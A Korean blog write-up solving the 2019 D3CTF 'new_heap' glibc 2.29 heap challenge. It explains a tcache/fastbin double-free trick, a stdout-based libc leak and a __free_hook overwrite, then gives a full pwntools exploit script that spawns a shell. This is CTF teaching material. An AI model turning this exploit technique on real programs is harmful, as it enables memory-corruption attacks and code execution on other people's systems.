본문 바로가기

system/writeup

2019 d3ctf new_heap

2019 d3ctf new_heap

solver가 4명밖에 없었던 괴랄한 glibc 2.29 heap 문제다.

작은 바이너리라 일단 간단하게 문제의 feature를 살펴보면 다음과 같다.

alloc, free, exit 총 세 메뉴가 존재한다.

alloc


총 18개의 heap을 할당할 수 있다.

0x78 이하의 size만 할당할 수 있다.

delete


명백하게 uaf가 발생한다. double free

exit


getchar로 굳이 사용자에게 허락을 받는다.

setbuf가 되어있지 않아 heap에서 buffering이 일어난다.

exploit


glibc 2.29 환경이므로 tcache double free가 불가능하다.

때문에 18개의 heap 개수 제한에서 fastbin을 이용하여 exploit을 하는 것도 불가능하다.

getchar()hint가 존재한다. 이를 이용하여 malloc_consolidate를 진행하면 된다.

여기서 굉장히 tricky한 방법이 사용되는데, tcache 7개를 모두 채운 후 1개를 더 free시키면 fastbin에 할당이 된다.

이 때, malloc으로 tcache를 하나 비우고 fastbin에 들어가있는 chunk를 다시 free시키면 tcachefastbin에 동일한 주소가 들어가게 된다.

이를 이용하여 malloc_consolidatefastbin을 병합시킬 때, 윗주소에 fake chunk를 만들어 smallbin으로 만들고, &main_arena->fd, &main_arena->bk를 이용하여 1 byte bruteforcing으로 stdout->flags, stdout->write_base를 조작하여 libcleak하고, __free_hooksystem으로 덮어 shell을 얻어내면 된다.

from pwn import *
#context.log_level= 'debug'

e = ELF('new_heap')
s = process(e.path)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
#l = ELF('libc.so.6', checksec=False)

ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
sla = lambda x,y: s.sendlineafter(x,y)
sa = lambda x,y: s.sendafter(x,y)

def menu(sel):
   sla('3.exit\n', sel)

def alloc(size, data):
   menu('1')

   sla('size:', size)
   sa('content:', data)

def free(idx):
   menu('2')

   sla('index:', idx)

def exit(sel):
   menu('3')

   sa('sure?\n', sel)

ru(':')
present = int(s.recv(4),16)
log.info('present: {}'.format(hex(present)))

for i in range(5):
   alloc(str(0x78), str(i)*0x11)
alloc(str(0x78), "\x00"*0x58 + p64(0x81)) #5
alloc(str(0x38), "6")
alloc(str(0x78), "\x00"*0x18 + p64(0x61)) #7
alloc(str(0x78), "8")

for i in range(9):
   free(str(i))

alloc(str(0x78), '\x00'*8)
free('8')
alloc(str(0x78), "\x30"+p8(present+3))
exit('AAAA')

free('7')
alloc(str(0x18), 'ex')
alloc(str(0x18), "\x50\x37") # write_base
alloc(str(0x38), "ex")
alloc(str(0x38), p64(0)*2+p64(0xfbad3887)+p64(0)*3+'\x00')

s.recv(8)
l_base = u64(s.recv(8)) - 0x1e7570
log.info('l_base: {}'.format(hex(l_base)))

alloc(str(0x38), p64(0)*3 + p64(0x81) + p64(l_base +l.symbols['__free_hook']))

alloc(str(0x78), "/bin/sh\x00")
alloc(str(0x78), p64(l_base+l.symbols['system']))

free('16')

io()


'system > writeup' 카테고리의 다른 글

2018 bctf three  (0) 2019.12.01
2018 bctf houseofatum  (0) 2019.12.01
2019 csaw final arevenge  (0) 2019.11.29
2019 hack.lu chat  (0) 2019.11.12
2019 hitcon lazyhouse  (0) 2019.11.06